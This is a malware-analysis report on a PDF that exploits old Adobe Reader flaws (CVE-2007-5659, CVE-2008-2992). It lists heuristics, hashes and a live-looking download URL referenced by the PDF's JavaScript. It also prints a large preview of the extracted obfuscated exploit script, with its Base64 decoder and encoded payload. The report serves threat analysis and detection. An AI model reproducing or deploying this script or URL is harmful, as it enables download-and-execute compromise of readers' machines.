Malicious PDF — malware analysis report

Static analysis result for SHA-256 a9a8d8a980c6a266…

MALICIOUS

PDF

17.4 KB Created: 2009-07-22 09:05:46 Authoring application: sXGMVDOE37R (via OH3Dn) First seen: 2012-07-12
MD5: 12bff280f305e21c6b44bfaecb4affa3 SHA-1: 43aa5eb691fca83eda6518da1ec474b0ee3fac22 SHA-256: a9a8d8a980c6a2663bf63c2d45c417d1c6ed9e57c7d0bb771d0ecc8114da26b2
516 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.001 Malicious Link

This PDF file contains obfuscated JavaScript that leverages multiple Adobe Reader vulnerabilities, specifically CVE-2007-5659 (Collab.collectEmailInfo) and CVE-2008-2992 (util.printf). The JavaScript is heavily encoded and uses a custom Base64 decoder, indicating an attempt to evade detection. The primary function of the script appears to be exploiting these vulnerabilities to download and execute a secondary payload. The ML classifier and ClamAV detection further support its malicious nature.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Js.Trojan.Obfus-48 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Js.Trojan.Obfus-48
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
                    eval(QQktGm);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://grasma.com/spl6/load.php Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x228 16455 bytes
SHA-256: f68237e4ba5104aaceeb1ae98d69d966251d2c957de13eb095ffffb269803566
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). 17 of 27 identifiers look randomly generated (e.g. 'Wm5WdVkzUnBiMjRnY25adVVqTjFaamxxS0UxUmFF') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var gXJPveSKaGl="";
                                var QQktGm="";
                                function LB3DRmI6S74tka( GkvRcJtFIY2n6Q ) {
                                    var tVscqS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
                                    var P632pwHcFFn, gE5lKXsOR, OfmUXPK1Iw6Lxv, eYXVLpy, Gj5C53, gHfsn2im, xXX50rxO0VQ, Yr6ha0ueB21, ntGjb4LEatIj = W9ulYrN = 0, J616zfG2gjiZ1R = "", GRyWLk6D = [];
                                    GkvRcJtFIY2n6Q += "";
                                    do {
                                        eYXVLpy = tVscqS.indexOf(GkvRcJtFIY2n6Q.charAt(ntGjb4LEatIj++));
                                        Gj5C53 = tVscqS.indexOf(GkvRcJtFIY2n6Q.charAt(ntGjb4LEatIj++));
                                        gHfsn2im = tVscqS.indexOf(GkvRcJtFIY2n6Q.charAt(ntGjb4LEatIj++));
                                        xXX50rxO0VQ = tVscqS.indexOf(GkvRcJtFIY2n6Q.charAt(ntGjb4LEatIj++));
                                        Yr6ha0ueB21 = eYXVLpy<<18 | Gj5C53<<12 | gHfsn2im<<6 | xXX50rxO0VQ;
                                        P632pwHcFFn = Yr6ha0ueB21>>16 & 0xff;
                                        gE5lKXsOR = Yr6ha0ueB21>>8 & 0xff;
                                        OfmUXPK1Iw6Lxv = Yr6ha0ueB21 & 0xff;
                                        if (gHfsn2im == 64) {
                                            GRyWLk6D[W9ulYrN++] = String.fromCharCode(P632pwHcFFn);
                                        } else if (xXX50rxO0VQ == 64) {
                                            GRyWLk6D[W9ulYrN++] = String.fromCharCode(P632pwHcFFn, gE5lKXsOR);
                                        } else {
                                            GRyWLk6D[W9ulYrN++] = String.fromCharCode(P632pwHcFFn, gE5lKXsOR, OfmUXPK1Iw6Lxv);
                                        }
                                    } while (ntGjb4LEatIj < GkvRcJtFIY2n6Q.length);
                                    J616zfG2gjiZ1R = GRyWLk6D.join("");
                                    J616zfG2gjiZ1R = lnPeg(J616zfG2gjiZ1R);
                                    return J616zfG2gjiZ1R;
                                }
                                function lnPeg ( P632pwHcFFn ) {
                                    var gE5lKXsOR = [], OfmUXPK1Iw6Lxv = eYXVLpy = GkvRcJtFIY2n6Q = Gj5C53 = gHfsn2im = 0;
                                    P632pwHcFFn += "";
                                    while ( OfmUXPK1Iw6Lxv < P632pwHcFFn.length ) {
                                        GkvRcJtFIY2n6Q = P632pwHcFFn.charCodeAt(OfmUXPK1Iw6Lxv);
                                        if (GkvRcJtFIY2n6Q < 128) {
                                            gE5lKXsOR[eYXVLpy++] = String.fromCharCode(GkvRcJtFIY2n6Q);
                                            OfmUXPK1Iw6Lxv++;
                                        } else if ((GkvRcJtFIY2n6Q > 191) && (GkvRcJtFIY2n6Q < 224)) {
                                            Gj5C53 = P632pwHcFFn.charCodeAt(OfmUXPK1Iw6Lxv+1);
                                            gE5lKXsOR[eYXVLpy++] = String.fromCharCode(((GkvRcJtFIY2n6Q & 31) << 6) | (Gj5C53 & 63));
                                            OfmUXPK1Iw6Lxv += 2;
                                        } else {
                                            Gj5C53 = P632pwHcFFn.charCodeAt(OfmUXPK1Iw6Lxv+1);
                                            gHfsn2im = P632pwHcFFn.charCodeAt(OfmUXPK1Iw6Lxv+2);
                                            gE5lKXsOR[eYXVLpy++] = String.fromCharCode(((GkvRcJtFIY2n6Q & 15) << 12) | ((Gj5C53 & 63) << 6) | (gHfsn2im & 63));
                                            OfmUXPK1Iw6Lxv += 3;
                                        }
                                    }
                                    return gE5lKXsOR.join("");
                                }

                gXJPveSKaGl= LB3DRmI6S74tka("Wm5WdVkzUnBiMjRnY25adVVqTjFaamxxS0UxUmFFOXBLWHNnY21WMGRYSnVJRk4wY21sdVoxc25abkp2YlVOb1lYSkRiMlJsSjEwb1RWRm9UMmtwTzMwZ1puVnVZM1JwYjI0Z1FrUmphMHcwVlZwT2JTaFZXa05NVUdZME0zVkphbXQzS1hzZ2RtRnlJRU5zY1ZsemJFOU1QVEFzSUhSSE5HSmliVGh3VHoxVldrTk1VR1kwTTNWSmFtdDNMbXhsYm1kMGFDd2dibE5OYTNBd1BURXdNalFzSUZCcGVURTVaRFZDV0U1MUxDQlpTV3hoVEUxQ09Dd2diRmRNUTNrOUp5Y3NJSEZ2YzJoVVlXWlVha3BaZFhGMlBVTnNjVmx6YkU5TUxDQlBSamgxY0ZNOVEyeHhXWE5zVDB3c0lFWmhhek0zUFVOc2NWbHpiRTlNTENCVU5uQkJkR2h5UFVGeWNtRjVLRFl6TERNNExEUTVMRFEzTERNMUxESXlMRGdzTlRFc05ETXNOREVzTUN3d0xEQXNNQ3d3TERBc01UQXNNVElzTWpjc05UZ3NNVFVzTnl3Mk1Td3hOaXd5Tml3eE55d3lNU3d4TXl3eE9DdzBMRFEyTERNekxETXdMRFUyTERJMExETTVMREU1TERJMUxESTRMRFExTERFMExEVTNMREl3TERBc01Dd3dMREFzTlRNc01Dd3pNU3d6TkN3MU1pdzBNQ3d6Tnl3ek1pd3hNU3cyTUN3eU15dzFPU3cxTERNMkxEUTBMRFF5TERVd0xEQXNOVFVzTkRnc01Td3pMRFlzT1N3eUxEWXlMREk1TERVMEtUc2dabTl5S0ZsSmJHRk1UVUk0UFUxaGRHZ3VZMlZwYkNoMFJ6UmlZbTA0Y0U4dmJsTk5hM0F3S1R0WlNXeGhURTFDT0Q1RGJIRlpjMnhQVER0WlNXeGhURTFDT0MwdEtYc2dabTl5S0ZCcGVURTVaRFZDV0U1MVBVMWhkR2d1YldsdUtIUkhOR0ppYlRod1R5eHVVMDFyY0RBcE8xQnBlVEU1WkRWQ1dFNTFQa05zY1ZsemJFOU1PMUJwZVRFNVpEVkNXRTUxTFMwc2RFYzBZbUp0T0hCUExTMHBleUJHWVdzek4zdzlLRlEyY0VGMGFISmJWVnBEVEZCbU5ETjFTV3ByZHk1amFHRnlRMjlrWlVGMEtIRnZjMmhVWVdaVWFrcFpkWEYyS3lzcExUUTRYU2s4UEU5R09IVndVenNnYVdZb1QwWTRkWEJUS1hzZ2JGZE1RM2tyUFhKMmJsSXpkV1k1YWlneE9EaGVSbUZyTXpjbU1qVTFLVHNnUm1Gck16YytQajA0T3lCUFJqaDFjRk10UFRJN0lIMGdaV3h6WlNCN0lFOUdPSFZ3VXowMk95QjlJSDBnZlNCbGRtRnNLR3hYVEVONUtUc2dmU0JDUkdOclREUlZXazV0S0NkU2FsSXdNekJMV1Y5VWJYbzRjV0UzUUVWU2IweFRSamRoY1VzM1ZWUTVVMVV4UVdKRVlsRTBWVEZCWWtSaVVUUlZNVUZpUkdKUk5GVXhRVFJEVXpNd1ZURm9ORVF4WkRCVk1XMWlRSGhoVDFVeFFVOUJRMkZQVlRGQlQwRnZValJWTVZaNFF6QlJORlV4Vm5oWVlsRTBWVEZXZUhnNFlUQlZNVlo0VFc5U1lsVXhiWGhEVXpBd1ZURnRlRU00TTNoVk1VRlBlRE5rZUZVeFFYaERORko0VlRGV2VFTlRNM2hWTVcxaU5qRXplRlV4Vm5oRWVqTjRWVEZXVDBNNE5tSlZNVUZpV0c0d05GVXhWazlET0RaaVZURnRZbGxUTUdKVk1WWjRRemRSTkZVeFZuaERVek13VlRGdFlqWXhNM2hWTVcwd2EyOVJORlV4YldKTFRGRmlWVEZXZUV0NllUUlZNVUUwWjI5Uk5GVXhWbmhEY1ZJMFZURldlRU5UTTNoVk1WWXdSamhrWWxVeGJUQnJNVE13VlRGb1ltZE1VV0pWTVcxaWRucFNORlV4UVRSbk1XRTBWVEZXZUVOeFpIaFZNVlo0UTFNemVGVXhWakJHT0dSaVZURnRNR3N4TUdKVk1XZ3dSbFJSWWxVeFZqUkJNV1I0VlRGQk5HZERObmhWTVZaNFF6YzJlRlV4Vm5oRFV6TjRWVEZXTUVZNFpHSlZNVzB3YXpFd05GVXhRVFJCVEZGaVZURkJORU5xVWpSVk1VRTBaMHhrZUZVeFZuaERNR1F3VlRGV2VFTlRNM2hWTVZZd1JqaGtZbFV4YlRCcmJqTjRWVEZ0TkZsVVVXSlZNVUUwUm1sa1lsVXhRVFJuTVZGaVZURldlRU5xVWs5Vk1WWjRRMU16ZUZVeFZqQkdPR1JpVlRGV01FTTRNekJWTVVGNFoyNWtlRlV4Vms5R2FsRXdWVEZ0WWtCNlVtSlZNVzE0WjNwaE1GVXhWbmhOYjJSaVZURldlRU5UWVhoVk1XMHdTekV6ZUZVeFZrOUdPR1JpVlRGdFlqWjRNekJWTVZaNGVIRmhNRlV4Vm5oWlZGSmlWVEZ0WWpaRE0ySlZNVzE0WjBOaE1GVXhRVFJuUTJGUFZURldlRU00Tm1KVk1WWjRRMU16ZUZVeFFVOW5Rek40VlRGdGVIWmlZVTlWTVZaUFF6QkVORlV4YUdKTmIxRmlWVEZXZUVOVE0zaFZNVzFpUURFemVGVXhiWGhFZW1Fd1ZURnRORVk0Tm1KVk1XMDBRemhSTUZVeGJXSkFRek40VlRGb01FTnhZVEJWTVZZMFFVeFJZbFV4Vm5oRFV6TjRWVEZ0TUVOVE0zaFZNVll3UmpnMllsVXhRVTkyYmpNd1ZURnRNRUF4UkhoVk1XMHdSamcyWWxVeFFUUm5iakJpVlRGV2VFTlVVbmhWTVZaNFExTXplRlV4VmpCR1V6QXdWVEZ0TkUxNE0zaFZNVzB3UkRFemVGVXhhREJMTlZJMFZURnRORTFNVWpCVk1WWjRlSEV6ZUZVeFFVOUdhVkZpVlRGV2VFTlRNM2hWTVZaUFJuRTJORlV4YldJMmVETjRWVEZXZUVSNllUQlZNVlo0V1ZSU1lsVXhiV0kyUXpOaVZURnRlR2REWVRCVk1WWXdRemRSWWxVeFZuaERVek40VlRGQlQzWXhNM2hWTVcwd1p6RkVUMVV4VmpCR1V6QXdWVEZCZURBd016QlZNVzB3TURBMllsVXhWalJCUXpBd1ZURm9NRU5wVWpCVk1XMHdNR296ZUZVeFZqQkdPRFppVlRGQlQzWnVNRFJWTVcwd1FERmhNRlV4YlRCR09EWmlWVEZCTkdkdU1HSlZNVlo0UXpBd01GVXhWbmhEVXpONFZURldlRU5VVW1KVk1WWlBSbkUyTkZVeGJXSTJlRE40VlRGV2VHZDZZVEJWTVZaNFVWUlNZbFV4YldJMlF6TmlWVEZ0ZUdkRFlUQlZNVzE0UXpkUllsVXhWbmhEVXpONFZURkJUM1l4TTNoVk1XMWlObm8yTkZVeGJYaERjV0V3VlRGV2VGbFVVbUpWTVcxaU5rTXpZbFV4YlhoblEyRXdWVEZXZUVNM1VXSlZNVlo0UTFNemVGVXhWakJaVXpONFZURnRNRkZxUkdKVk1VRTBXVk13TUZVeFFUUlpVekF3VlRGQk5GbFRNREJWTVVFMFdWTXdNRlV4UVRSRWJsRXdWVEZ0TUhZeE16QlZNVzFpTmtNd01GVXhRVFJSTUZKaVZURnRNRkZ4Tms5Vk1VRTBRM0UyTkZVeGJXSTJRMkV3VlRGdFlqWnZVVFJWTVZaNFp6VmtORlV4YlRCWWJqWmlWVEZ0TUdzeE1EUlZNVlpQTURnMllsVXhiV0kyWWpBMFZURnRlRXMxWkRCVk1WWjRNR2xSWWxVeGJUQnJlbEV3VlRGV1QydHVObUpWTVZaNE1EQXplRlV4UVhnd2NWRXdWVEZXTUVCRFpHSlZNVUZpV0hwaGVGVXhiVFF3VXpBd1ZURkJlREJxWVU5Vk1WWjRRWHBTVDFVeGJYaERVMUkwVlRGV05GRTBZV0pWTVZaNFp6VmtNRlV4YlRSTFExSjRWVEZXZURCVE16UlZNVll3UTNFMmVGVXhWalJaTnpaaVZURldORXRpUkdKVk1WWlBSbXBoTkZVeGJUQjJiMUl3VlRGQk5EWnVObUpWTVcwd2RtNDJZbFV4Vm5nd01ETXdWVEZCVDJ0NFpEUlZNVlo0Ukc0MllsVXhiV0kyZWtSaVZURnRlRVJEWVdKVk1XZzBXREV3TUZVeFZuaDRPRFppVlRGV2VEQTRObUpWTVcwd1MwTlNNRlV4YlRSUmFqTTBWVEZXZUVOVE1HSlZNVlkwZURkUllsVXhWalJCZWxJMFZURnRNRVp4TmpSVk1WWXdSRU5FZUZVeFZqQkJlak0wVlRGV2VFTnhZVFJWTVdoaU5tNDJUMVV4YUdKQlRqWmlWVEZ0TkVNd1VqQlZNVzFpWjBOa2VGVXhiV0pMVG1RMFZURnRZbEV6VVRSVk1XMDBXVGhTTkZVeGJXSkRPRkUwVlRGdE5FTTRObmhWTVdoaVFVNVJORlV4YURSQWJsRXdWVEZ0WWpCcVpIaFZNVzFpUzI1a2VGVXhiVFJaT0RaaVZURnRZazFPTmpSVk1VRTBRVTQyTkZBMVdVOVdibFp4V0RjNWVsOVVNMk4yVEdGR1MzVlNiMHhUUmpkaGNVczNWVlE1VTFVeFFUUkdOMUl3VlRGQk5FWTNVakJRTlZsUFFIRlhOMVpBZVdOelF6WTBSVzVXY1ZnM09YcENSV1JqU1dGMmVsaDZNR3BoVkZCR1RUaEdRMFp4Ylc5TWQzbDZURE5MYjFwaFVXOWFhVXRqVlZRNWVsOVVNMk4yVEdGR1MwQjJZMVZuUm5vMlZFdG1TRE41WlVocFJFWk1VelpHWDNGUlpYTnVlVVpqWjNsaVkybGhORVZ1Vm5GWU56bGpTV3BYTjNOdWVVWmpaM2xpWTJsaE5FeDRWbTlRTUVGdldHbFhZMEpVZGpSSGJrWjZTbEJrYjNscVFWTkVORlpmUWtWa2VsOVVNMk4yVEdGR1MwQlpOM1pxUmpjMmFsWmZURE5MWlVGM09YcGZWRE5qZGt4aFJrdEFkbU5WWjBaNk5sUjViRWd6ZVdWRlRrRmZTblI1ZWxwNFFXOUtNMWRzUjFOWFkwSTBRVjlwYmtaNmNHODJNa0J2TmpSQmIxSmxSRFJXWDBKRlVUYzJhVVo2YVhoQmIwb3pSbVZNUlZkeFdHRmtiM2xxUVZONWFtMDNTVVZrWTFVelFWTkdhbTAzZVdsQlpVcFFaSHBVYWtGbFNrSldaa0ZRVWw5MWRGSTBXRzgyTkVVMVZ6SnBVRlZsUlhGWE4xaEZSbGxLUWxaUmMzaEJiMG96Um1WU2FsSXdNekJMV1Y5VWJYbzRjV0UzUUVWdGIzbHFRVk5BVTFjd1YycFJRelZGWkZOTFExSlBVRkE1VTJzMVVrOXJOVkpQYXpWa1UybERWVTlyTlZKUGEwTlpaVkExVWs5ck5XUlRhVU4yVDAxTU5rOU5URFpQVUZBNVUwMU1OazlOVERaUFRVdzJUMDFNTms5TlREWlBUVXcyVDAxTU5rOU5URFpQVFV3MlQwMU1OazlRVURsVFRVdzJUMDFNTms5TlREWlBUVXcyVDAxTU5rOU5URFpQVFV3MlQwMU1OazlOVERaUFRVdzJUMDFNTms5TlREWlBUVXcyVDAxTU5rOU5URFpQVFV3MlQwMU1OazlOVERaUFRVdzJUMDFNTms5TlREWlBUVXcyVDAxTU5rOU5URFpQVFV3MlQwMU1OazlOVERaUFRVdzJUMDFNTms5TlREWlBUVXcyVDAxTU5rOU5URFpQVFV3MlQwMU1OazlOVERaUFRVdzJUMDFNTms5TlRHUlRhVU4yVDAxTU5rOU5URFpQVFV3MlQwMU1OazlOVERaUFRVdzJUMDFNTms5TlREWlBUVXcyVDAxTU5rOU5URFpQVFV3MlQwMU1OazlOVEdSVGFVTjJUMDFNTms5TlREWlBUVXcyVDAxTU5rOU5URFpQVFV3MlQwMU1OazlOVERaUFRVdzJUMDFNTms5TlREWlBUVU5aWlZCTU5rOU5URFpQVFV3MlQwMU1OazlOVEdSVGFVTjJUMDFNTms5TlREWlBUVXcyVDAxTU5rOU5URFpQVFV3MlQxQlFPVk5OVERaUFRVdzJUMDFNTms5TlREWlBUVXhrVTBVeFFXOUtkRmRzUVdwV1gwdzBiWHBhUTFVeE5qRTJORUZ2WkhwUWR6bHZWV3BoYWxoT1RsOUtVR1I2ZG1kR2NUWnBSbU5NTjFsb01XRlhRMUJVVldWV1VFRlRRSEZYTjFZeE1FTjVWSGhqYnpCTFUzTnZPV05WTTBGVFJtcHROM2xwUVdWS1VEWlRTRk50WTJFMFZsOVVaMHRUVVRCTFgyVTBWemRMVGtScWVqUkVaVkpuTTI5cFZHMDBjV2xMV1dkQ1ZtTXpkSFpUY1RORU1rMUZSSG94TkZKbFZsQkJVMmRVZVY5SFUwdFRXbUpYYUVCaFN6SllVR0ZmYkROdE1ra3dUbXhIVTFkalFqUkJYelZETm1aeE0wUXlUVVZFZWpFMFVtVkZORmRvUUdGTE1saFFZVjlzTTIweVNUQllVMmwxTmxOU1p6TnZhVlJ0TkhGcFMxbG5RbFpqTTJGU2NsWmlWMmhBWVVzeVdGQmhYMnd6YlRKSk1GaFRjMjkyZW04NGFGOU5hbEZHU2xSNGIzVkZSbXBNZUZadlVEQkJiMWhwVjJOQ1ZIWTBSMUF3ZUUxVVZtaFNRbGhpVkVOU1pVVnZPVGRWTkZadldHZExVMUpuTTI5cFZHMDBjV2xMV1dkQ1ZtTXpZVFpUY3pjNWVuWm5SbkUyYVVaalREYzVRMEEwUkVOeVZGaGZXalYyVTBVM09XOTVha0ZUZGpnMmFFMTRVbWd6WVV0VGMyOTJORTAzVVhGQmVFczBZVGRSY1VWdk9XOTVha0ZUTVVKR2VsaENZVFJyVEVReVZuVTJVM1puZVhwRU1IbHhRVk5MWlZBeFZXODJlRFppUkRGVmJ6WjRObUpFTVZWdk5uZzJZa1F4Vlc5QmJtRjRlRk5WYjBSNFVtSjRVMVZ2UUc1Uk1Hc3hWVzlOYjJRd2F6RlZiMDF2TmpSTE1WVnZXVGd3TkVReFZXOVphalppUkRGVmIxbHFNM2hHVTFWdldWUTJOSFl4Vlc5RE9HRjRNRk5WYjBNNE0zaERVMVZ2VFVNd1lrTlRWVzlST0VSaVdWTlZiMWs0WVhoRFUxVnZRR0pTZUVOVFZXOVpNRkl3UTFOVmIydHVNMkkyTVZWdk5rTmtlRVF4Vlc5cmJqTmlOakZWYjBBeFlYaG5NVlZ2V1RoRU5FUXhWVzlaT0dGNGVGTlZiMEJpVW5oRFUxVnZlR2syTkVReFZXOUFlalpQWnpGVmIxbHhVakJMTVZWdlFVNDJORVF4Vlc5Wk9HRTBTekZWYjFrNFlYaERVMVZ2Um5FellrQXhWVzk0YVZKNGVGTlZiMmRPTms5bk1WVnZRREZTTkVzeFZXOUJUbEo0U3pGVmIxazRZVFJEVTFWdldUaGhlRU5UVlc5R2NUTmlRREZWYjNocFVuaG5NVlZ2TUhGRVQyY3hWVzlMYjFKaVExTlZiMEZPWkRSUlUxVnZXVGhFTkZGVFZXOVpPR0Y0UTFOVmIwWnhNMkpBTVZWdmVHbFNlRVF4Vlc5QmJ6WlBaekZWYjBGdU16UkxNVlZ2UVU0MlQwTlRWVzlaT0RBMGVGTlZiMWs0WVhoRFUxVnZSbkV6WWtBeFZXOTRhV1I0UTFOVmIxZ3hSRTluTVZWdlFYcGhUMEF4Vlc5QlRsSmlaekZWYjFrNE16UnJNVlZ2V1RoaGVFTlRWVzlHY1ROaVFERlZiMFk0TTNoNFUxVnZVVE5rWWtOVFZXOXJlak0wTUZOVmIwQnVValIyTVZWdlF6TlNNRVpUVlc5WlZEWTBRREZWYjFrNFlYaFpVMVZ2ZUhGU2VFTlRWVzlyZWpOaVFERlZiMEJpVVRCNFUxVnZXV3BoTUVaVFZXOVpVMFJQZGpGVmIwQmlaREJBTVZWdlF6TmtNRVpUVlc5QlRtUXdhekZWYjFrNE0ySTJNVlZ2V1RoaGVFTlRWVzlOVG1Rd1ExTlZiME5UTm5ock1WVnZhMjR3TUVFeFZXOW5URFkwWnpGVmIxazRZWGhEVTFWdlFHNVNlRU5UVlc5RE1GSXdSbE5WYjFoNk0ySTJNVlZ2V0c0ellqQlRWVzlBYm1Rd1ExTlZiekE0WVRCR1UxVnZTMjgyVDJjeFZXOVpPR0Y0UTFOVmIzZzRZWGhEVTFWdlJuRXpZall4Vlc5Tk1XUjRlRk5WYjNnNFVuaFJVMVZ2ZUhFellqWXhWVzlCVG1SNFp6RlZiMWs0UkU5WlUxVnZXVGhoZUVOVFZXOUdjV0Y0TUZOVmIxaE1VVEJEVTFWdmVEQlNlRU5UVlc4d2NWSlBTekZWYjFoTU5rOUdVMVZ2V1dwaE1FTlRWVzlOZW1GUFp6RlZiMWs0WVhoRFUxVnZhM3BoTkVFeFZXOUFZbEV3UTFOVmIxa3dVakJHVTFWdldWTkVUM1l4Vlc5QVltUXdRREZWYjBNelpEQkdVMVZ2UmpoRU5HY3hWVzlaT0dGNFExTlZiMDB4VW5oRFUxVnZlRE5TZUUweFZXOUdjV0Y0TUZOVmIxRXdNREI0VTFWdmVEQXdORFl4Vlc5TGIyUXdNRk5WYnpBNFlVOUdVMVZ2ZURBek1FTlRWVzlHY1ROaU5qRlZiMDB4WkhoRU1WVnZlRGhTZUVaVFZXOTRjVE5pTmpGVmIwRk9aSGhuTVZWdldUZ3dNREJUVlc5Wk9HRjRRMU5WYjFrNFJFOTJNVlZ2YTNwaE5FRXhWVzlBWWxFd1ExTlZiMWt6VWpCR1UxVnZXVFJFVDNZeFZXOUFZbVF3UURGVmIwTXpaREJHVTFWdlF6aEVOR2N4Vlc5Wk9HRjRRMU5WYjAweFVuaERVMVZ2UUdKU05FRXhWVzlET0dFd1JsTlZiMWxUUkU5Mk1WVnZRR0prTUVBeFZXOURNMlF3UmxOVmIxazRSRFJuTVZWdldUaGhlRU5UVlc5R1UyRjRRMU5WYjNnME16QTJNVlZ2UVRGaGVEQlRWVzlCTVdGNE1GTlZiMEV4WVhnd1UxVnZRVEZoZURCVFZXOUJlR1JpTUZOVmIzaFRVbmg0VTFWdlFHSmtNREJUVlc5QllqQTBkakZWYjNnMFlUUk5NVlZ2UVc1aE5FRXhWVzlBWW1Rd1JsTlZiMEJpTmpSRU1WVnZXVE5TVDFneFZXOTRhbVJpTmpGVmIzaHBVbmhFTVZWdmEzZ3pZall4Vlc5QVlqWjRSREZWYjBOeFVrOTRVMVZ2V1RCaFQyY3hWVzk0YVZJME1GTlZiMnMxWkdJMk1WVnZXVEF3TUVOVFZXOVJNR0UwTUZOVmIwWTRaRFJBTVZWdk5rTlNNRmxUVlc5WWVHRjRNRk5WYjFFd016QnJNVlZ2V1RkU05Hc3hWVzlET0dGaVN6RlZiMHRpUkhoMk1WVnZXVE5TVDNoVFZXOVllbVEwV1ZOVmIxa3dZWGhZTVZWdlJqaGhORkZUVlc5TE1VUTBOakZWYjB0Nk5uZzJNVlZ2YTNvek1Fc3hWVzk0VXpZMFJsTlZiMEZpWkdJMk1WVnZlRk5rWWpZeFZXOVpNREF3ZUZOVmIwMDFVVFJZTVZWdldUQmtZall4Vlc5QVlsSXdOakZWYjBNd1pEQjJNVlZ2UkVOU2VEQlRWVzlaYWpOaU5qRlZiMWt3TTJJMk1WVnZlSEZrTkVaVFZXOVlZak13V0RGVmIxazRZWGhuTVZWdlMwTkVOR2N4Vlc5TGIxSTBTekZWYjNoeFlUUkJNVlZ2UmpCa01GRlRWVzlHTjFJd1dERlZiMWs0WVRCTE1WVnZRRFZSTkVOVFZXOUVZak5pTmpGVmIyZDRaRFJBTVZWdlFIZ3dZa0V4Vlc5RVlsRTBVV3BWWlVWdk9XOTVha0ZUVURSUmIwdEVlVGREYVZoVGMyOTJORTAwTmpSQmJ6WTBRVkEyVTBCeFZ6ZFdkMFkzYkZORU5HNDNWV1pXU0U1ZlFtcHRSa3MxTmtaTlozWmpWV2RHZWpaVVMxTTFiemswUlc4NWIzbHFRVk54TTBReVRVVkVlakUwTmxOemJ6bHhOazVXTjFSeGJYaGxOMVZzVmt4MlkwUlVVSGhCYm5obFFVeG9ORTAxV1U5V2JsWnhXRGQyZW04NGFGOU5hbEZHU2xSNGIzVkZSbXBXZFRaVGRtZDVla1F3ZVhGQlUwdGxVREZWYjJ0dlVrOUJNVlZ2YTI5U1QwRkRWV1ZGYjNaNmJ6aG9YMDFxVVVaS1ZIaHZkVVZHYWxaMU5sTlJNRXRmWlRSWE4wdE9SR3A2TkVSbFVtY3piMmxVYlRSeGFVdFpaMEpXWXpOMGRsTnhNMFF5VFVWRWVqRTBVbVZGYnpsdmVXcEJVMVF3TmtaNFowdFRjMjkyWlhZNE5taE5lRkpvTTJGTFUwbHZkalJOTkRZMFFXODJORUUxV1d4UU5GRnZTMFI1TjBOcGVFOVdia1pqV0RkMlpVQnhWemRXTVV0WlpWUlJYemwwWVhoQk1HaHZRemd6TkhOdlVVOVZWRkJaVFZCNVEzSlRSRGRFTTIxNFEybzJabFF3TmtaNFowWlBWVlJRV1UxUWVVTnlVMFEzUkROdGVFTnFVV1ZwTlhaVFJUZFZlRGh4UzFsVVp6QnhVMU5MV1dWVVVWODVkR0Y0UVRCb2IwTTRNelJQTjFWbVZtSlhhRUJoU3pKWVVHRmZiRE50TWtrd1dGTnBiemxaTlROWE4zcHhVazlqVkdoUFZuVkJVM00zT1hwMlowWnhObWxHWTB3M2RuaEVRMHRxYTNGV2VrdERlRFJhTlhaVFJUYzViM2xxUVZOWE1HZzNVVlJrYW1rMFJGTnpiMVZ4UVRkdGJFQnBlWHBuVTFjM2JsTlhOMFJwUm1OTVozWnZWREJZYjFocFYyTkNWRlZsUlc5VmFrUXdRWGhOUTNoZlVUZFZabFo2ZURkRU5FUlBUbUZMZUV4RFZucEJkSGx4WVZOTFpW